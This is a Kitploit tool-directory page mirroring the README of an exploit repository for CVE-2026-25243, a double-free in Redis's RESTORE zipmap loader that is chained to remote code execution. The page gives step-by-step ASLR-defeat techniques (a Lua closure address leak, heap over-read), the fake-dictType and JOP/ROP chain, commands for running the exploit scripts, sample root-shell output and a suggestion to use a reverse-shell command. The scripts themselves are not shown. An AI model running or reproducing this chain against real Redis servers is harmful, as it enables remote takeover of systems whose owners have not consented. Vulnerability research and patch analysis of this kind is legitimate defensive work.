Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-25243 — CVE-2026-25243 — Redis RESTORE zipmap double-free → remote code execution (ASLR on). | Kitploit
Tools/GitHubGitHub/dinosn/cve-2026-25243
Memory ForensicsVulnerability AnalysisExploitationReverse EngineeringPenetration TestingRemote Access ToolPayload DevelopmentBinary Exploitation
GitHubdinosn/cve-2026-25243

CVE-2026-25243

CVE-2026-25243 — Redis RESTORE zipmap double-free → remote code execution (ASLR on).

View Repository
13344 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-25243 — Redis RESTORE zipmap double-free → remote code execution

TL;DR. A malformed DUMP payload passed to RESTORE triggers a heap double-free in Redis's legacy hash-zipmap loader. Under default jemalloc the double-free is silent (the server keeps running), which turns it into a controllable type-confusion primitive. This repo chains that into remote code execution with ASLR enabled — the Redis worker calls system("<attacker string>") and keeps serving. Not a DoS.

# default Redis (DEBUG disabled), ASLR on — the most self-contained exploit (NO libc offsets):
$ python3 exploits/poc_rce_aslr_pie_rop.py --cmd "id > /tmp/pwned_pie 2>&1"
[*] self-cal: blob_base=0x7f352d800009 blob_robj=0x7f353286b8d8 pie_base=0x557ea9149000  (NO libc)
[*] fake dictType F=0x7f352e013c36  g1=0x557ea93cca87 execve=0x557ea91cee80
$ cat /tmp/pwned_pie
uid=0(root) gid=0(root) groups=0(root),...    # <- execve("/bin/sh","-c",<cmd>) as the redis process

The leak that defeats ASLR uses no DEBUG — it reads the redis.call Lua C-closure address (EVAL 'return tostring(redis.call)'), the same self-contained, DEBUG-free technique as our prior Redis exploit. blob_base/blob_robj and the PIE base are then derived at runtime from the over-read (no fixed offset). The PIE-ROP finish calls execve@plt through a JOP stack-pivot, so it uses zero libc addresses — the only build-specific constants are PIE-relative gadget offsets read from the redis-server binary, exactly like our prior HLL exploit's per-build gadget table. Verified uid=0(root), ASLR on, 8/8, on a default DEBUG-disabled server.

Two finishes are provided. poc_rce_aslr_pie_rop.py (above) is the most self-contained — no libc, fully self-calibrated — but execve replaces the worker (use a reverse-shell --cmd; best for a real shell). poc_rce_aslr_selfcal.py keeps the worker alive (system() forks) at the cost of two libc-version offsets. Pick by whether you need the server to survive.


The bug

RESTORE key 0 <DUMP-payload> deserializes a serialized object. For the legacy RDB_TYPE_HASH_ZIPMAP (0x09) type, the validator and the converter disagree on how many bytes a length field occupies:

  • zipmapValidateIntegrity() walks with the actual encoded size (5 for the overlong 0xFE prefix);
  • zipmapNext() during zipmap → listpack conversion uses 1 byte for any decoded length < 254.

A small length written in the overlong 5-byte form passes validation but makes zipmapNext() mis-stride by 4 bytes. Two consequences flow from the same mis-stride: a heap over-read (zipmap.c) and, in Redis only, a heap double-free in the rdb.c hash-zipmap loader:

sds field = sdstrynewlen(fstr, flen);
if (!field || dictAdd(dupSearchDict, field, NULL) != DICT_OK || !lpSafeToAdd(lp, flen + vlen)) {
    dictRelease(dupSearchDict);   // (1) dictAdd took ownership of `field` -> freed here
    sdsfree(field);               // (2) freed AGAIN  -> double-free

Valkey guards this (if (!field_added) sdsfree(field)); upstream Redis did not, so the double-free is Redis-only. The fix rejects the overlong-encoded short length and reorders the load-time checks.

The exploit chain (Redis 8.6.2, x86-64, jemalloc, PIE/NX/partial-RELRO)

silent double-free  ->  type-confusion overlap  ->  arbitrary pointer-forge
   ->  forge a hashtable hash's  dict->type  to a fake dictType
   ->  HGET hd "<field>"   ==   dictFind -> type->hashFunction(field)
      libc path  (selfcal): hashFunction = &system            -> system("<cmd>")   (worker survives)
      PIE path   (pie_rop): hashFunction = JOP-pivot g1, field = ROP chain
                            -> leave;ret pivots rsp onto the field
                            -> execve("/bin/sh","-c","<cmd>")  via execve@plt        (no libc, no DEBUG)

The fake dictType is planted inside a 16 MB string (SETRANGE) at the one offset whose address low bytes match the attacker string's sds header. ASLR is defeated entirely at runtime:

  • system — a single heap-pointer leak. The recommended path is DEBUG-free: the address of the redis.call Lua C-closure (EVAL 'return tostring(redis.call)') — the same self-contained leak our prior Redis exploit uses. The jemalloc arenas sit at a constant offset from libc, so system = leaked_robj + Δlibc + system_off. (DEBUG OBJECT is only a lab convenience when scripting happens to be disabled but DEBUG is enabled — the rarer config.)
  • the 16 MB blob's address (an independently-randomized mmap) — read with the bug's own arbitrary-read: forge a SET's dict so its member is a 107 KB SDS_TYPE_32 sds, SMEMBERS over-reads the adjacent heap, and the blob's robj.ptr is read at its known offset.

See WRITEUP.md for the full primitive-by-primitive analysis and the hard-won jemalloc / Redis-8.x details (class-64 boundary, dict entry tagging, hash-field mstr, keyspace pre-grow).

Lab

docker build -t cve-2026-25243 .
# stock (jemalloc) demo — DoS-or-not? shows the type confusion (no tooling):
docker run --rm -p 6379:6379 cve-2026-25243

# full chain — DEFAULT config (DEBUG disabled), the recommended exploit:
sysctl -w kernel.randomize_va_space=2            # ASLR ON
redis-server &                                   # DEBUG is off by default
python3 exploits/poc_rce_aslr_selfcal.py --host 127.0.0.1 --port 6379 --cmd "id > /tmp/pwned 2>&1"
filewhat it demonstrates
★ exploits/poc_rce_aslr_pie_rop.pymost self-contained — RCE on a DEFAULT Redis (DEBUG off), NO libc offsets; self-calibrates blob_base/blob_robj/pie_base; execve@plt via JOP pivot (worker is replaced). 8/8.
★ exploits/poc_rce_aslr_selfcal.pyworker-surviving — same chain but hashFunction=&system (forks); costs two libc-version offsets (DLIBC/SYSTEM_OFF). Lua-closure leak, self-calibrating blob_base/blob_robj.
exploits/poc_rce_aslr_nodebug.pyDEBUG-free (Lua leak), but with fixed offsets (DEBUG-on calibrated)
exploits/poc_rce_aslr.pylab-convenience variant: DEBUG OBJECT bootstrap leak (needs DEBUG enabled)
exploits/poc_rce_aslr_off.pyRCE with ASLR off (calibrated addresses)
exploits/poc_typeconfusion.pydouble-free → two keys share one heap buffer (no tooling)
exploits/poc_doublefree.pythe double-free (ASan: heap-use-after-free in sdsfree)
exploits/poc_dos_overread.pythe over-read crash (ASan)

The ASLR-defeat leak (no DEBUG)

The bootstrap heap-pointer leak follows the same approach as our prior Redis exploit: leak the redis.call Lua C-closure address with EVAL 'return tostring(redis.call)'. Lua scripting is on by default; DEBUG is off by default (enable-debug-command no) — so the Lua leak is the realistic primary, and DEBUG OBJECT (poc_rce_aslr.py) is only a lab convenience. poc_rce_aslr_selfcal.py then derives blob_base and blob_robj at runtime from the over-read (scan for the 16 MB-blob robj signature), so DLUA/DFOBJ only need to be close.

Download Tool